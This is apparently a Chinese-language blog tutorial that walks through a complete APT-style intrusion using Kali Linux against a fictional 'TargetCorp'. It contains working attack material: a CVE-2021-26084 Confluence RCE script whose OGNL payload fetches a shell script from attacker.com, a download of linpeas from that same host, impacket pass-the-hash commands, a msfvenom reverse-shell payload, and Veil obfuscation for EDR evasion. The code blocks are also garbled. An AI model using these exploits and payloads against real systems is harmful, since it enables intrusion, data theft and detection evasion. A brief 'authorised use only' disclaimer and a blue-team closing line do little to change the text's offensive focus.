一、APT攻击背后的工具箱:Kali Linux 的秘密应用
2021年,某能源公司的内部网络遭受了一次高调的APT攻击,攻击者利用精心设计的鱼叉式钓鱼邮件获取了目标的初始访问权限,随后通过一系列复杂的渗透和横向移动操作成功窃取了大量敏感文件。此次攻击的技术细节在后续威胁情报报告中披露,攻击者使用了多个开源工具,其中 Kali Linux 成为了他们的核心操作平台。
这篇文章将从攻击者的角度,基于 Kali Linux 展现一个完整的渗透攻击场景,涉及信息收集、漏洞利用、权限提升和横向移动等环节。所有分享的内容和代码仅供授权的安全研究和学习用途,请勿用于非法行为。

---
二、潜伏的第一步:信息收集的艺术

在任何一次APT攻击中,信息收集是最重要的基础工作,它决定了攻击行动的整体方向。Kali Linux 中包含许多强大的信息收集工具,下面我们将以实际案例展开讲解。假设我们的目标是一家运营网络电商服务的公司,我们称其为 "TargetCorp"。
OSINT工具:收集外部信息
攻击者首先会利用公开的OSINT(开放源情报)工具,如 theHarvester 和 Maltego 来挖掘目标的外部信息,包括域名、邮箱、子域、IP地址和其他潜在入口。
theHarvester 使用
<pre><code class="language-bash"># 在 Kali Linux 上运行 theHarvester theHarvester -d targetcorp.com -l 500 -b google,bing,linkedin</code></pre>
这段命令会从 Google、Bing 和 LinkedIn 等多个公开源头搜集有关 targetcorp.com 的信息。运行结果可能会输出目标企业的邮箱列表、公开子域信息、甚至某些暴露的敏感内容。

攻击者视角: 这些信息可用于后续的鱼叉式钓鱼邮件构造或直接尝试暴露的子域漏洞。
使用 Maltego 进行图形化关联分析
Maltego 是 Kali 系统中预装的图形化情报分析工具,可以用来直观地挖掘目标的社交网络、域名结构以及其他隐藏关系。
- 打开 Maltego,选择 Community Edition。
- 创建新的图形项目,并输入
TargetCorp.com。 - 使用内置的变换(Transform)功能扩展节点,包括 DNS 记录、邮箱地址、社交媒体账号等。
通过这种方式,攻击者能够快速绘制出目标网络的全貌,为后续攻击提供更多的潜在入口点。
---
三、突破防线:漏洞利用的武器化流程
在收集到足够的信息后,下一步是找到目标的易受攻击点。攻击者会通过识别目标的技术栈,针对其已知或零日漏洞进行利用。在这里,我们将以 CVE-2021-26084(Atlassian Confluence 远程代码执行漏洞)为例,展示如何在 Kali Linux 上进行漏洞利用。
漏洞原理:远程代码执行
CVE-2021-26084 是一个影响 Atlassian Confluence 的漏洞。当目标未正确过滤 OGNL 表达式时,攻击者可以通过 HTTP 请求注入恶意代码,从而远程执行任意命令。
环境搭建
为了安全测试,我们可以在本地搭建一个受漏洞影响的 Confluence 环境。
- 使用 Docker 安装漏洞版本:
- 确保服务在 8090 端口运行:
<pre><code class="language-bash"> docker run -d --name confluence-vuln -p 8090:8090 atlassian/confluence-server:7.12.2 `
`bash curl http://127.0.0.1:8090 `
编写漏洞利用脚本
以下是漏洞的 POC 脚本,攻击者可以用它直接获取目标服务器的 shell: </code></pre>python import requests
url = "http://targetcorp.com:8090" # 替换为目标地址
构造恶意的 OGNL 表达式
payload = "${(#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('curl http://attacker.com/shell.sh'))}"

headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", }
data = {"queryString": payload}
发送 POST 请求触发 RCE
response = requests.post(url, headers=headers, data=data)
print(f"Response Code: {response.status_code}") print(f"Response Body: {response.text}") <pre><code> 运行上述脚本后,攻击者即可通过 curl 将一个恶意脚本上传到目标服务器。
---
四、进入深水区:权限提升与横向移动
拿下初始 foothold 后,下一步是提升权限并在内网横向移动。Kali Linux 提供了多种工具来帮助完成这两步操作。
权限提升:利用脆弱的 SUID 程序
在拿到低权限 shell 后,我们可以使用 linpeas.sh 自动枚举目标系统的潜在漏洞。
使用 linpeas.sh 枚举
</code></pre>bash
在目标机上下载 linpeas.sh
curl -O http://attacker.com/linpeas.sh chmod +x linpeas.sh
运行 linpeas.sh
./linpeas.sh <pre><code> linpeas.sh 会生成一份详细的报告,列出系统中可能存在的提权漏洞。例如,如果目标系统中 /usr/bin/sudo 配置不当,我们可以利用以下命令提权: </code></pre>bash sudo su
成功获取 root 权限
<pre><code>
横向移动:SMB 和 Pass-the-Hash 攻击
在权限提升后,攻击者通常会尝试横向移动到其他主机。一个经典的攻击方式是利用 SMB 协议和盗取的哈希进行 Pass-the-Hash 攻击。
使用 impacket 工具包进行横向移动
Kali Linux 中预装了 impacket 工具包,可以用来针对 SMB 服务进行攻击。 </code></pre>bash
使用 wmiexec.py 进行横向移动
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py TARGET_DOMAIN/[email protected] -hashes :<NTLM_HASH> <pre><code> 如果哈希有效,攻击者将获得目标主机的远程 shell。
---
五、反侦察与免杀:如何规避EDR检测
高级威胁通常伴随着强大的对抗策略。为了避开目标的 EDR(终端检测与响应)系统,攻击者会使用各种免杀和混淆技术。
Cobalt Strike 的 Beacon 加壳
通过对 Cobalt Strike 的 Beacon 进行加壳,可以有效绕过大多数杀软: </code></pre>bash
使用 msfvenom 生成免杀载荷
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f exe -o beacon_payload.exe
使用 Veil 混淆载荷
veil -p backdoor/beacon_payload.exe `
流量伪装:DNS 隧道
使用 DNS 隧道可以隐藏 C2 通信的真实意图。Kali Linux 提供了工具 iodine 来搭建 DNS 隧道服务。
---
六、总结:Kali Linux 的攻击者视野
通过本文的案例分析,我们展示了 Kali Linux 在 APT 攻击中的实际应用,从信息收集到漏洞利用,再到权限提升和反侦察,每一步都离不开 Kali 系统中强大的工具支持。
经验分享: 攻击的成功不仅仅依赖于工具,更在于攻击者对每个环节的深刻理解。对于蓝队来说,定期模拟这些攻击链条是提升防御能力的关键。